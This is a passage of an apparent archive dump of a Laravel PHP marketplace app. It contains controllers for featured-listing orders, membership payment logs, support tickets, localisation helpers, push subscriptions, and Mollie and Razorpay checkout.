->when($title, function ($query) use ($listingIds) { return $query->whereIn('feature_orders.listing_id', $listingIds); }) ->when($paymentStatus, function ($query, $paymentStatus) { return $query->where('payment_status', '=', $paymentStatus); }) ->when($orderStatus, function ($query, $orderStatus) { return $query->where('order_status', '=', $orderStatus); }) ->where('order_status', 'completed') ->orderByDesc('id') ->paginate(10); $information['orders'] = $orders; return view('admin.featured-listing.approve', $information); } public function rejected(Request $request) { $information['langs'] = Language::all(); $language = Language::query()->where('code', '=', $request->language)->firstOrFail(); $information['language'] = $language; $orderNumber = $paymentStatus = $orderStatus = $title = null; $listingIds = []; if ($request->filled('title')) { $title = $request->title; $listing_contents = ListingContent::where('language_id', $language->id) ->where('title', 'like', '%' . $title . '%') ->get() ->pluck('listing_id'); foreach ($listing_contents as $listing_content) { if (!in_array($listing_content, $listingIds)) { array_push($listingIds, $listing_content); } } } if ($request->filled('order_no')) { $orderNumber = $request['order_no']; } if ($request->filled('payment_status')) { $paymentStatus = $request['payment_status']; } if ($request->filled('order_status')) { $orderStatus = $request['order_status']; } $orders = FeatureOrder::query()->when($orderNumber, function ($query, $orderNumber) { return $query->where('order_number', 'like', '%' . $orderNumber . '%'); }) ->when($title, function ($query) use ($listingIds) { return $query->whereIn('feature_orders.listing_id', $listingIds); }) ->when($paymentStatus, function ($query, $paymentStatus) { return $query->where('payment_status', '=', $paymentStatus); }) ->when($orderStatus, function ($query, $orderStatus) { return $query->where('order_status', '=', $orderStatus); }) ->where('order_status', 'rejected') ->orderByDesc('id') ->paginate(10); $information['orders'] = $orders; return view('admin.featured-listing.rejected', $information); } public function updatePaymentStatus(Request $request, $id) { $order = FeatureOrder::find($id); $misc = new MiscellaneousController(); $language = $misc->getLanguage(); $listing = Listing::with(['listing_content' => function ($query) use ($language) { return $query->where('language_id', $language->id); }])->where('id', $order->listing_id)->first(); $listing_name = $listing->listing_content[0]->title; $slug = $listing->listing_content[0]->slug; $url = route('frontend.listing.details', ['slug' => $slug, 'id' => $listing->id]); $vendor = VendorInfo::Where('vendor_id', $order->vendor_id)->first(); $info = Basic::select('google_recaptcha_status')->first(); if ($info->google_recaptcha_status == 1) { $rules['g-recaptcha-response'] = 'required|captcha'; } $be = Basic::select('smtp_status', 'smtp_host', 'smtp_port', 'encryption', 'smtp_username', 'smtp_password', 'from_mail', 'from_name', 'to_mail', 'website_title')->firstOrFail(); if ($request['payment_status'] == 'pending') { $order->update([ 'payment_status' => 'pending' ]); } else if ($request['payment_status'] == 'completed') { $order->update([ 'payment_status' => 'completed' ]); $mail_template = MailTemplate::where('mail_type', 'payment_accepted_for_featured_offline_gateway')->first(); if ($be->smtp_status == 1) { $subject = $mail_template->mail_subject; $body = $mail_template->mail_body; $body = preg_replace("/{username}/", $vendor->name, $body); $body = preg_replace("/{payment_via}/", $order->payment_method, $body); $body = preg_replace("/{listing_name}/", "$listing_name", $body); $body = preg_replace("/{package_price}/", symbolPrice($order->total), $body); $body = preg_replace("/{website_title}/", $be->website_title, $body); if ($be->smtp_status == 1) { try { $smtp = [ 'transport' => 'smtp', 'host' => $be->smtp_host, 'port' => $be->smtp_port, 'encryption' => $be->encryption, 'username' => $be->smtp_username, 'password' => $be->smtp_password, 'timeout' => null, 'auth_mode' => null, ]; Config::set('mail.mailers.smtp', $smtp); } catch (\Exception $e) { Session::flash('error', $e->getMessage()); return back(); } } try { $data = [ 'to' => $order->vendor_mail, 'subject' => $subject, 'body' => $body, ]; if ($be->smtp_status == 1) { Mail::send([], [], function (Message $message) use ($data, $be) { $fromMail = $be->from_mail; $fromName = $be->from_name; $message->to($data['to']) ->subject($data['subject']) ->from($fromMail, $fromName) ->html($data['body'], 'text/html'); }); } Session::flash('success', 'Message sent successfully'); return back(); } catch (Exception $e) { Session::flash('error', $e); return back(); } } } else { $order->update([ 'payment_status' => 'rejected', 'order_status' => 'rejected' ]); $mail_template = MailTemplate::where('mail_type', 'payment_rejected_for_buy_feature_offline_gateway')->first(); if ($be->smtp_status == 1) { $subject = $mail_template->mail_subject; $body = $mail_template->mail_body; $body = preg_replace("/{payment_via}/", $order->payment_method, $body); $body = preg_replace("/{listing_name}/", "$listing_name", $body); $body = preg_replace("/{package_price}/", symbolPrice($order->total), $body); $body = preg_replace("/{username}/", $vendor->name, $body); $body = preg_replace("/{website_title}/", $be->website_title, $body); if ($be->smtp_status == 1) { try { $smtp = [ 'transport' => 'smtp', 'host' => $be->smtp_host, 'port' => $be->smtp_port, 'encryption' => $be->encryption, 'username' => $be->smtp_username, 'password' => $be->smtp_password, 'timeout' => null, 'auth_mode' => null, ]; Config::set('mail.mailers.smtp', $smtp); } catch (\Exception $e) { Session::flash('error', $e->getMessage()); return back(); } } try { $data = [ 'to' => $order->vendor_mail, 'subject' => $subject, 'body' => $body, ]; if ($be->smtp_status == 1) { Mail::send([], [], function (Message $message) use ($data, $be) { $fromMail = $be->from_mail; $fromName = $be->from_name; $message->to($data['to']) ->subject($data['subject']) ->from($fromMail, $fromName) ->html($data['body'], 'text/html'); }); } Session::flash('success', 'Message sent successfully'); return back(); } catch (Exception $e) { Session::flash('error', $e); return back(); } } } return redirect()->back(); } public function updateOrderStatus(Request $request, $id) { $order = FeatureOrder::find($id); $vendor = VendorInfo::Where('vendor_id', $order->vendor_id)->first(); $info = Basic::select('google_recaptcha_status')->first(); if ($info->google_recaptcha_status == 1) { $rules['g-recaptcha-response'] = 'required|captcha'; } $be = Basic::select('smtp_status', 'smtp_host', 'smtp_port', 'encryption', 'smtp_username', 'smtp_password', 'from_mail', 'from_name', 'to_mail', 'website_title')->firstOrFail(); $misc = new MiscellaneousController(); $language = $misc->getLanguage(); $listing = Listing::with(['listing_content' => function ($query) use ($language) { return $query->where('language_id', $language->id); }])->where('id', $order->listing_id)->first(); $listing_name = $listing->listing_content[0]->title; $slug = $listing->listing_content[0]->slug; $url = route('frontend.listing.details', ['slug' => $slug, 'id' => $listing->id]); if ($request['order_status'] == 'pending') { $order->update([ 'order_status' => 'pending' ]); } else if ($request['order_status'] == 'completed') { $days = $order->days; $startDates = Carbon::now()->startOfDay(); $endDates = $startDates->copy()->addDays($days); $order->update([ 'order_status' => 'completed', 'start_date' => $startDates, 'end_date' => $endDates ]); $startDate = $startDates->format('j F, Y'); $endDate = $endDates->format('j F, Y'); $mail_template = MailTemplate::where('mail_type', 'listing_feature_active')->first(); if ($be->smtp_status == 1) { $subject = $mail_template->mail_subject; $body = $mail_template->mail_body; $body = preg_replace("/{username}/", $vendor->name, $body); $body = preg_replace("/{listing_name}/", "$listing_name", $body); $body = preg_replace("/{days}/", $days, $body); $body = preg_replace("/{activation_date}/", $startDate, $body); $body = preg_replace("/{end_date}/", $endDate, $body); $body = preg_replace("/{website_title}/", $be->website_title, $body); if ($be->smtp_status == 1) { try { $smtp = [ 'transport' => 'smtp', 'host' => $be->smtp_host, 'port' => $be->smtp_port, 'encryption' => $be->encryption, 'username' => $be->smtp_username, 'password' => $be->smtp_password, 'timeout' => null, 'auth_mode' => null, ]; Config::set('mail.mailers.smtp', $smtp); } catch (\Exception $e) { Session::flash('error', $e->getMessage()); return back(); } } try { $data = [ 'to' => $order->vendor_mail, 'subject' => $subject, 'body' => $body, ]; if ($be->smtp_status == 1) { Mail::send([], [], function (Message $message) use ($data, $be) { $fromMail = $be->from_mail; $fromName = $be->from_name; $message->to($data['to']) ->subject($data['subject']) ->from($fromMail, $fromName) ->html($data['body'], 'text/html'); }); } Session::flash('success', 'Message sent successfully'); return back(); } catch (Exception $e) { Session::flash('error', $e); return back(); } } } else { $order->update([ 'order_status' => 'rejected' ]); $mail_template = MailTemplate::where('mail_type', 'listing_feature_reject')->first(); if ($be->smtp_status == 1) { $subject = $mail_template->mail_subject; $body = $mail_template->mail_body; $body = preg_replace("/{username}/", $vendor->name, $body); $body = preg_replace("/{listing_name}/", "$listing_name", $body); $body = preg_replace("/{website_title}/", $be->website_title, $body); if ($be->smtp_status == 1) { try { $smtp = [ 'transport' => 'smtp', 'host' => $be->smtp_host, 'port' => $be->smtp_port, 'encryption' => $be->encryption, 'username' => $be->smtp_username, 'password' => $be->smtp_password, 'timeout' => null, 'auth_mode' => null, ]; Config::set('mail.mailers.smtp', $smtp); } catch (\Exception $e) { Session::flash('error', $e->getMessage()); return back(); } } try { $data = [ 'to' => $order->vendor_mail, 'subject' => $subject, 'body' => $body, ]; if ($be->smtp_status == 1) { Mail::send([], [], function (Message $message) use ($data, $be) { $fromMail = $be->from_mail; $fromName = $be->from_name; $message->to($data['to']) ->subject($data['subject']) ->from($fromMail, $fromName) ->html($data['body'], 'text/html'); }); } Session::flash('success', 'Message sent successfully'); return back(); } catch (Exception $e) { Session::flash('error', $e); return back(); } } } return redirect()->back(); } public function destroy($id) { $order = FeatureOrder::find($id); // delete the attachment @unlink(public_path('assets/file/attachments/feature-activation/') . $order->attachment); $order->delete(); return redirect()->back()->with('success', 'Deleted successfully!'); } public function bulkDestroy(Request $request) { $ids = $request->ids; foreach ($ids as $id) { $order = FeatureOrder::find($id); // delete the attachment @unlink(public_path('assets/file/attachments/feature-activation/') . $order->attachment); $order->delete(); } Session::flash('success', 'Selectet item deleted successfully!'); return response()->json(['status' => 'success'], 200); } } PK(\F= c#c#/Http/Controllers/Admin/PaymentLogController.phpnu[search; $username = $request->username; $data['memberships'] = Membership::query()->when($search, function ($query, $search) { return $query->where('transaction_id', 'like', '%' . $search . '%'); })->whereHas('vendor', function (Builder $query) use ($username) { $query->when($username, function ($query, $username) { return $query->where('username', 'like', '%' . $username . '%'); }); }) ->where('vendor_id', '!=', 0) ->orderBy('id', 'DESC') ->paginate(10); return view('admin.payment_log.index', $data); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { // } public function transaction(Request $request) { $search = $request->search; $data['memberships'] = Membership::query() ->where('admin_id', Auth::guard('web')->user()->id) ->when($search, function ($query, $search) { return $query->where('transaction_id', $search); }) ->orderBy('expire_date', 'DESC') ->paginate(10); return view('admin.transaction.index', $data); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { // } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { // } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { // } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * */ public function update(Request $request) { $bs = Basic::first(); $membership = Membership::query()->where('id', $request->id)->first(); $vendor = Vendor::query()->where('id', $membership->vendor_id)->first(); $package = Package::query()->where('id', $membership->package_id)->first(); $count_membership = Membership::query()->where('vendor_id', $membership->vendor_id)->count(); if ($request->status === "1") { $member['first_name'] = $vendor->first_name; $member['last_name'] = $vendor->last_name; $member['username'] = $vendor->username; $member['email'] = $vendor->email; $data['payment_method'] = $membership->payment_method; //comparison date $date1 = Carbon::createFromFormat('m/d/Y', \Carbon\Carbon::parse($membership->start_date)->format('m/d/Y')); $date2 = Carbon::createFromFormat('m/d/Y', \Carbon\Carbon::now()->format('m/d/Y')); $result = $date1->gte($date2); if ($result) { $data['start_date'] = $membership->start_date; $data['expire_date'] = $membership->expire_date; } else { $data['start_date'] = Carbon::today()->format('d-m-Y'); if ($package->term === "daily") { $data['expire_date'] = Carbon::today()->addDay()->format('d-m-Y'); } elseif ($package->term === "weekly") { $data['expire_date'] = Carbon::today()->addWeek()->format('d-m-Y'); } elseif ($package->term === "monthly") { $data['expire_date'] = Carbon::today()->addMonth()->format('d-m-Y'); } elseif ($package->term === "lifetime") { $data['expire_date'] = Carbon::maxValue()->format('d-m-Y'); } else { $data['expire_date'] = Carbon::today()->addYear()->format('d-m-Y'); } $membership->update(['start_date' => Carbon::parse($data['start_date'])]); $membership->update(['expire_date' => Carbon::parse($data['expire_date'])]); } // if previous membership package is lifetime, then exipre that membership $previousMembership = Membership::query() ->where([ ['vendor_id', $vendor->id], ['start_date', '<=', Carbon::now()->toDateString()], ['expire_date', '>=', Carbon::now()->toDateString()] ]) ->where('status', 1) ->orderBy('created_at', 'DESC') ->first(); if (!is_null($previousMembership)) { $previousPackage = Package::query() ->select('term') ->where('id', $previousMembership->package_id) ->first(); if ($previousPackage->term === 'lifetime' || $previousMembership->is_trial == 1) { $yesterday = Carbon::yesterday()->format('d-m-Y'); $previousMembership->expire_date = Carbon::parse($yesterday); $previousMembership->save(); } } if ($count_membership > 1) { $mailTemplate = 'payment_accepted_for_membership_offline_gateway'; $mailType = 'paymentAcceptedForMembershipExtensionOfflineGateway'; } else { $mailTemplate = 'payment_accepted_for_membership_offline_gateway'; $mailType = 'paymentAcceptedForRegistrationOfflineGateway'; $vendor->update([ 'status' => 1 ]); } $filename = $this->makeInvoice($data, "membership", $member, null, $membership->price, "offline", $vendor->phone, $bs->base_currency_symbol_position, $bs->base_currency_symbol, $bs->base_currency_text, $membership->transaction_id, $package->title, $membership); $mailer = new MegaMailer(); $data = [ 'toMail' => $vendor->email, 'toName' => $vendor->fname, 'username' => $vendor->username, 'package_title' => $package->title, 'package_price' => ($bs->base_currency_text_position == 'left' ? $bs->base_currency_text . ' ' : '') . $package->price . ($bs->base_currency_text_position == 'right' ? ' ' . $bs->base_currency_text : ''), 'activation_date' => $data['start_date'], 'expire_date' => $package->term == "lifetime" ? 'Lifetime' : $data['expire_date'], 'membership_invoice' => $filename, 'website_title' => $bs->website_title, 'templateType' => $mailTemplate, 'type' => $mailType ]; $mailer->mailFromAdmin($data); @unlink(public_path('assets/front/invoices/' . $filename)); } elseif ($request->status == 2) { if ($count_membership > 1) { $mailTemplate = 'payment_rejected_for_membership_offline_gateway'; $mailType = 'paymentRejectedForMembershipExtensionOfflineGateway'; } else { $mailTemplate = 'payment_rejected_for_membership_offline_gateway'; $mailType = 'paymentRejectedForRegistrationOfflineGateway'; } $mailer = new MegaMailer(); $data = [ 'toMail' => $vendor->email, 'toName' => $vendor->fname, 'username' => $vendor->username, 'package_title' => $package->title, 'package_price' => ($bs->base_currency_symbol_position == 'left' ? $bs->base_currency_text . ' ' : '') . $package->price . ($bs->base_currency_symbol_position == 'right' ? ' ' . $bs->base_currency_text : ''), 'website_title' => $bs->website_title, 'templateType' => $mailTemplate, 'type' => $mailType ]; $mailer->mailFromAdmin($data); } $membership->update(['status' => $request->status]); session()->flash('success', "Membership status changed successfully!"); return back(); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { // } } PK(\э3995Http/Controllers/FrontEnd/SupportTicketController.phpnu[support_ticket_status != 'active') { return redirect()->route('user.dashboard'); } $misc = new MiscellaneousController(); $language = $misc->getLanguage(); $information['pageHeading'] = $misc->getPageHeading($language); $information['bgImg'] = $misc->getBreadcrumb(); $collection = SupportTicket::where([['user_id', Auth::guard('web')->user()->id], ['user_type', 'user']])->orderBy('id', 'desc')->get(); $information['collection'] = $collection; return view('frontend.user.support_ticket.index', $information); } public function create() { $s_status = SupportTicketStatus::first(); if ($s_status->support_ticket_status != 'active') { return redirect()->route('user.dashboard'); } $misc = new MiscellaneousController(); $language = $misc->getLanguage(); $information['pageHeading'] = $misc->getPageHeading($language); $information['bgImg'] = $misc->getBreadcrumb(); return view('frontend.user.support_ticket.create', $information); } //store public function store(Request $request) { $rules = [ 'subject' => 'required', 'email' => 'required', 'description' => 'required', ]; if ($request->hasFile('attachment')) { $rules['attachment'] = 'mimes:zip|max:20000'; } $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return redirect()->back()->withErrors($validator->getMessageBag()); } $in = $request->all(); $in['user_id'] = Auth::guard('web')->user()->id; $in['user_type'] = 'user'; $file = $request->file('attachment'); if ($file) { $extension = $file->getClientOriginalExtension(); $directory = public_path('assets/admin/img/support-ticket/attachment/'); $fileName = uniqid() . '.' . $extension; @mkdir($directory, 0775, true); $file->move($directory, $fileName); $in['attachment'] = $fileName; } $in['description'] = Purifier::clean($request->description, 'youtube'); SupportTicket::create($in); Session::flash('success', 'Ticket has been submitted successfully.'); return back(); } //message public function message($id) { $s_status = SupportTicketStatus::first(); if ($s_status->support_ticket_status != 'active') { return redirect()->route('user.dashboard'); } $misc = new MiscellaneousController(); $language = $misc->getLanguage(); $information['pageHeading'] = $misc->getPageHeading($language); $information['bgImg'] = $misc->getBreadcrumb(); $bex = SupportTicketStatus::first(); if ($bex->support_ticket_status == 0) { return back(); } $information['ticket'] = SupportTicket::where('id', $id)->firstOrFail(); return view('frontend.user.support_ticket.message', $information); } //reply public function reply(Request $request, $id) { $s_status = SupportTicketStatus::first(); if ($s_status->support_ticket_status != 'active') { return redirect()->route('user.dashboard'); } $file = $request->file('file'); $allowedExts = array('zip'); $rules = [ 'reply' => 'required', 'file' => [ function ($attribute, $value, $fail) use ($file, $allowedExts) { $ext = $file->getClientOriginalExtension(); if (!in_array($ext, $allowedExts)) { return $fail("Only zip file supported"); } }, 'max:20000' ], ]; $messages = [ 'file.max' => ' zip file may not be greater than 20 MB', ]; $request->validate($rules, $messages); $input = $request->all(); $input['reply'] = Purifier::clean($request->reply, 'youtube'); $input['type'] = 1; $input['user_id'] = Auth::guard('web')->user()->id; $input['support_ticket_id'] = $id; if ($request->hasFile('file')) { $file = $request->file('file'); $filename = uniqid() . '.' . $file->getClientOriginalExtension(); @mkdir(public_path('assets/admin/img/support-ticket/'), 0775, true); $file->move(public_path('assets/admin/img/support-ticket/'), $filename); $input['file'] = $filename; } $data = new Conversation(); $data->create($input); SupportTicket::where('id', $id)->update([ 'last_message' => Carbon::now() ]); Session::flash('success', 'Message Sent Successfully'); return back(); } } PK(\Gff5Http/Controllers/FrontEnd/MiscellaneousController.phpnu[first(); } else { $language = Language::where('code', $locale)->first(); if (empty($language)) { $language = Language::where('is_default', 1)->first(); } } return $language; } public function storeSubscriber(Request $request) { $rules = [ 'email_id' => [ 'required', 'email:rfc,dns', Rule::unique('subscribers', 'email_id') ] ]; $messsage = []; $messsage['email_id.required'] = 'Email address feild is required'; $messsage['email_id.unique'] = 'The email address already been taken'; $validator = Validator::make($request->all(), $rules, $messsage); if ($validator->fails()) { return Response::json([ 'error' => $validator->getMessageBag() ], 400); } Subscriber::create([ 'email_id' => $request->email_id ]); return response()->json(['message' => 'You have successfully subscribed to our newsletter.', 'alert_type' => 'success']); } public function changeLanguage(Request $request) { // put the selected language in session $langCode = $request['lang_code']; $request->session()->put('currentLocaleCode', $langCode); return redirect()->back(); } public function getPageHeading($language) { if (Route::is('frontend.listings')) { $pageHeading = $language->pageName()->select('listing_page_title')->first(); } elseif (Route::is('frontend.vendors')) { $pageHeading = $language->pageName()->select('vendor_page_title')->first(); } elseif (Route::is('shop.products')) { $pageHeading = $language->pageName()->select('products_page_title')->first(); } elseif (Route::is('shop.product_details')) { $pageHeading = $language->pageName()->select('products_page_title')->first(); }elseif (Route::is('shop.cart')) { $pageHeading = $language->pageName()->select('cart_page_title')->first(); } elseif (Route::is('shop.checkout')) { $pageHeading = $language->pageName()->select('checkout_page_title')->first(); } elseif (Route::is('user.login')) { $pageHeading = $language->pageName()->select('login_page_title')->first(); } elseif (Route::is('user.signup')) { $pageHeading = $language->pageName()->select('signup_page_title')->first(); } elseif (Route::is('about_us')) { $pageHeading = $language->pageName()->select('about_us_title')->first(); } elseif (Route::is('blog') || Route::is('blog_details')) { $pageHeading = $language->pageName()->select('blog_page_title')->first(); } elseif (Route::is('frontend.pricing')) { $pageHeading = $language->pageName()->select('pricing_page_title')->first(); } elseif (Route::is('faq')) { $pageHeading = $language->pageName()->select('faq_page_title')->first(); } elseif (Route::is('contact')) { $pageHeading = $language->pageName()->select('contact_page_title')->first(); } elseif (Route::is('vendor.login')) { $pageHeading = $language->pageName()->select('vendor_login_page_title')->first(); } elseif (Route::is('vendor.signup')) { $pageHeading = $language->pageName()->select('vendor_signup_page_title')->first(); } elseif (Route::is('user.forget_password')) { $pageHeading = $language->pageName()->select('forget_password_page_title')->first(); } elseif (Route::is('vendor.forget.password')) { $pageHeading = $language->pageName()->select('vendor_forget_password_page_title')->first(); } elseif (Route::is('user.wishlist')) { $pageHeading = $language->pageName()->select('wishlist_page_title')->first(); } elseif (Route::is('user.dashboard')) { $pageHeading = $language->pageName()->select('dashboard_page_title')->first(); } elseif (Route::is('user.order.index')) { $pageHeading = $language->pageName()->select('orders_page_title')->first(); } elseif (Route::is('user.support_ticket')) { $pageHeading = $language->pageName()->select('support_ticket_page_title')->first(); } elseif (Route::is('user.support_ticket.create')) { $pageHeading = $language->pageName()->select('support_ticket_create_page_title')->first(); } elseif (Route::is('user.change_password')) { $pageHeading = $language->pageName()->select('change_password_page_title')->first(); } elseif (Route::is('user.edit_profile')) { $pageHeading = $language->pageName()->select('edit_profile_page_title')->first(); } else { $pageHeading = null; } return $pageHeading; } public static function getBreadcrumb() { $breadcrumb = Basic::select('breadcrumb')->first(); return $breadcrumb; } public function countAdView($id) { try { $ad = Advertisement::findOrFail($id); $ad->update([ 'views' => $ad->views + 1 ]); return response()->json(['success' => 'Advertisement view counted successfully.']); } catch (ModelNotFoundException $e) { return response()->json(['error' => 'Sorry, something went wrong!']); } } public function serviceUnavailable() { $info = Basic::select('maintenance_img', 'maintenance_msg')->first(); return view('errors.503', compact('info')); } } PK(\"8Http/Controllers/FrontEnd/PushNotificationController.phpnu[validate([ 'endpoint' => 'required', 'keys.p256dh' => 'required', 'keys.auth' => 'required' ]); $endpoint = $request->endpoint; $key = $request->keys['p256dh']; $token = $request->keys['auth']; $guest = Guest::query()->firstOrCreate([ 'endpoint' => $endpoint ]); $guest->updatePushSubscription($endpoint, $key, $token); return response()->json(['status' => 'Success'], 200); } } PK(\t=Http/Controllers/FrontEnd/PaymentGateway/MollieController.phpnu[session()->has('productCart')) { $productList = $request->session()->get('productCart'); } else { Session::flash('error', 'Something went wrong!'); return redirect()->route('shop.products'); } $purchaseProcess = new PurchaseProcessController(); // do calculation $calculatedData = $purchaseProcess->calculation($request, $productList); $allowedCurrencies = array('AED', 'AUD', 'BGN', 'BRL', 'CAD', 'CHF', 'CZK', 'DKK', 'EUR', 'GBP', 'HKD', 'HRK', 'HUF', 'ILS', 'ISK', 'JPY', 'MXN', 'MYR', 'NOK', 'NZD', 'PHP', 'PLN', 'RON', 'RUB', 'SEK', 'SGD', 'THB', 'TWD', 'USD', 'ZAR'); $currencyInfo = $this->getCurrencyInfo(); // checking whether the base currency is allowed or not if (!in_array($currencyInfo->base_currency_text, $allowedCurrencies)) { return redirect()->back()->with('error', 'Invalid currency for mollie payment.')->withInput(); } $arrData = array( 'billing_name' => $request['billing_name'], 'billing_email' => $request['billing_email'], 'billing_phone' => $request['billing_phone'], 'billing_city' => $request['billing_city'], 'billing_state' => $request['billing_state'], 'billing_country' => $request['billing_country'], 'billing_address' => $request['billing_address'], 'shipping_name' => $request->checkbox == 1 ? $request['shipping_name'] : $request['billing_name'], 'shipping_email' => $request->checkbox == 1 ? $request['shipping_email'] : $request['billing_email'], 'shipping_phone' => $request->checkbox == 1 ? $request['shipping_phone'] : $request['billing_phone'], 'shipping_city' => $request->checkbox == 1 ? $request['shipping_city'] : $request['billing_city'], 'shipping_state' => $request->checkbox == 1 ? $request['shipping_state'] : $request['billing_state'], 'shipping_country' => $request->checkbox == 1 ? $request['shipping_country'] : $request['billing_country'], 'shipping_address' => $request->checkbox == 1 ? $request['shipping_address'] : $request['billing_address'], 'total' => $calculatedData['total'], 'discount' => $calculatedData['discount'], 'productShippingChargeId' => $request->exists('shipping_method') ? $request['shipping_method'] : null, 'shippingCharge' => $calculatedData['shippingCharge'], 'tax' => $calculatedData['tax'], 'grandTotal' => $calculatedData['grandTotal'], 'currencyText' => $currencyInfo->base_currency_text, 'currencyTextPosition' => $currencyInfo->base_currency_text_position, 'currencySymbol' => $currencyInfo->base_currency_symbol, 'currencySymbolPosition' => $currencyInfo->base_currency_symbol_position, 'paymentMethod' => 'Mollie', 'gatewayType' => 'online', 'paymentStatus' => 'completed', 'orderStatus' => 'pending' ); $title = 'Purchase Product'; $notifyURL = route('shop.purchase_product.mollie.notify'); /** * we must send the correct number of decimals. * thus, we have used sprintf() function for format. */ $payment = Mollie::api()->payments->create([ 'amount' => [ 'currency' => $currencyInfo->base_currency_text, 'value' => sprintf('%0.2f', $calculatedData['grandTotal']) ], 'description' => $title . ' via Mollie', 'redirectUrl' => $notifyURL ]); // put some data in session before redirect to mollie url $request->session()->put('paymentFor', $paymentFor); $request->session()->put('arrData', $arrData); $request->session()->put('payment', $payment); return redirect($payment->getCheckoutUrl(), 303); } public function notify(Request $request) { $productList = $request->session()->get('productCart'); // get the information from session $arrData = $request->session()->get('arrData'); $payment = $request->session()->get('payment'); $paymentInfo = Mollie::api()->payments->get($payment->id); if ($paymentInfo->isPaid() == true) { // remove this session datas $request->session()->forget('paymentFor'); $request->session()->forget('arrData'); $request->session()->forget('payment'); $purchaseProcess = new PurchaseProcessController(); // store product order information in database $orderInfo = $purchaseProcess->storeData($productList, $arrData); // then subtract each product quantity from respective product stock foreach ($productList as $key => $item) { $product = Product::query()->find($key); if ($product->product_type == 'physical') { $stock = $product->stock - intval($item['quantity']); $product->update(['stock' => $stock]); } } // generate an invoice in pdf format $invoice = $purchaseProcess->generateInvoice($orderInfo, $productList); // then, update the invoice field info in database $orderInfo->update(['invoice' => $invoice]); // send a mail to the customer with the invoice $purchaseProcess->prepareMail($orderInfo); // remove all session data $request->session()->forget('productCart'); $request->session()->forget('discount'); return redirect()->route('shop.purchase_product.complete'); } else { $request->session()->forget('paymentFor'); $request->session()->forget('arrData'); $request->session()->forget('payment'); // remove session data $request->session()->forget('productCart'); $request->session()->forget('discount'); return redirect()->route('shop.purchase_product.cancel'); } } } PK(\[|?Http/Controllers/FrontEnd/PaymentGateway/RazorpayController.phpnu[first(); $razorpayData = json_decode($data->information, true); $this->key = $razorpayData['key']; $this->secret = $razorpayData['secret']; $this->api = new Api($this->key, $this->secret); } public function index(Request $request, $paymentFor) { // get the products from session if ($request->session()->has('productCart')) { $productList = $request->session()->get('productCart'); } else { Session::flash('error', 'Something went wrong!'); return redirect()->route('shop.products'); } $purchaseProcess = new PurchaseProcessController(); // do calculation $calculatedData = $purchaseProcess->calculation($request, $productList); $currencyInfo = $this->getCurrencyInfo(); // checking whether the currency is set to 'INR' or not if ($currencyInfo->base_currency_text !== 'INR') { return redirect()->back()->with('error', 'Invalid currency for razorpay payment.')->withInput(); } $arrData = array( 'billing_name' => $request['billing_name'], 'billing_email' => $request['billing_email'], 'billing_phone' => $request['billing_phone'], 'billing_city' => $request['billing_city'], 'billing_state' => $request['billing_state'], 'billing_country' => $request['billing_country'], 'billing_address' => $request['billing_address'], 'shipping_name' => $request->checkbox == 1 ? $request['shipping_name'] : $request['billing_name'], 'shipping_email' => $request->checkbox == 1 ? $request['shipping_email'] : $request['billing_email'], 'shipping_phone' => $request->checkbox == 1 ? $request['shipping_phone'] : $request['billing_phone'], 'shipping_city' => $request->checkbox == 1 ? $request['shipping_city'] : $request['billing_city'], 'shipping_state' => $request->checkbox == 1 ? $request['shipping_state'] : $request['billing_state'], 'shipping_country' => $request->checkbox == 1 ? $request['shipping_country'] : $request['billing_country'], 'shipping_address' => $request->checkbox == 1 ? $request['shipping_address'] : $request['billing_address'], 'total' => $calculatedData['total'], 'discount' => $calculatedData['discount'], 'productShippingChargeId' => $request->exists('shipping_method') ? $request['shipping_method'] : null, 'shippingCharge' => $calculatedData['shippingCharge'], 'tax' => $calculatedData['tax'], 'grandTotal' => $calculatedData['grandTotal'], 'currencyText' => $currencyInfo->base_currency_text, 'currencyTextPosition' => $currencyInfo->base_currency_text_position, 'currencySymbol' => $currencyInfo->base_currency_symbol, 'currencySymbolPosition' => $currencyInfo->base_currency_symbol_position, 'paymentMethod' => 'Razorpay', 'gatewayType' => 'online', 'paymentStatus' => 'completed', 'orderStatus' => 'pending' ); $title = 'Purchase Product'; $notifyURL = route('shop.purchase_product.razorpay.notify'); // create order data $orderData = [ 'receipt' => $title, 'amount' => intval($calculatedData['grandTotal'] * 100), 'currency' => 'INR', 'payment_capture' => 1 // auto capture ]; $razorpayOrder = $this->api->order->create($orderData); $webInfo = Basic::select('website_title')->first(); $customerName = $request['billing_name'] . ' ' . $request['billing_name']; $customerEmail = $request['billing_email']; $customerPhone = $request['billing_phone']; // create checkout data $checkoutData = [ 'key' => $this->key, 'amount' => $orderData['amount'], 'name' => $webInfo->website_title, 'description' => $title . ' via Razorpay.', 'prefill' => [ 'name' => $customerName, 'email' => $customerEmail, 'contact' => $customerPhone ], 'order_id' => $razorpayOrder->id ]; $jsonData = json_encode($checkoutData); // put some data in session before redirect to razorpay url $request->session()->put('paymentFor', $paymentFor); $request->session()->put('arrData', $arrData); $request->session()->put('razorpayOrderId', $razorpayOrder->id); return view('frontend.payment.razorpay', compact('jsonData', 'notifyURL')); } public function notify(Request $request) { // get the information from session $paymentPurpose = $request->session()->get('paymentFor'); if ($paymentPurpose == 'product purchase') { $productList = $request->session()->get('productCart'); } $arrData = $request->session()->get('arrData'); $razorpayOrderId = $request->session()->get('razorpayOrderId'); $urlInfo = $request->all(); // assume that the transaction was successful $success = true; /** * either razorpay_order_id or razorpay_subscription_id must be present. * the keys of $attributes array must be follow razorpay convention. */ try { $attributes = [ 'razorpay_order_id' => $razorpayOrderId, 'razorpay_payment_id' => $urlInfo['razorpayPaymentId'], 'razorpay_signature' => $urlInfo['razorpaySignature'] ]; $this->api->utility->verifyPaymentSignature($attributes); } catch (SignatureVerificationError $e) { $success = false; } if ($success === true) { // remove this session datas $request->session()->forget('paymentFor'); $request->session()->forget('arrData'); $request->session()->forget('razorpayOrderId'); $purchaseProcess = new PurchaseProcessController(); // store product order information in database $orderInfo = $purchaseProcess->storeData($productList, $arrData); // then subtract each product quantity from respective product stock foreach 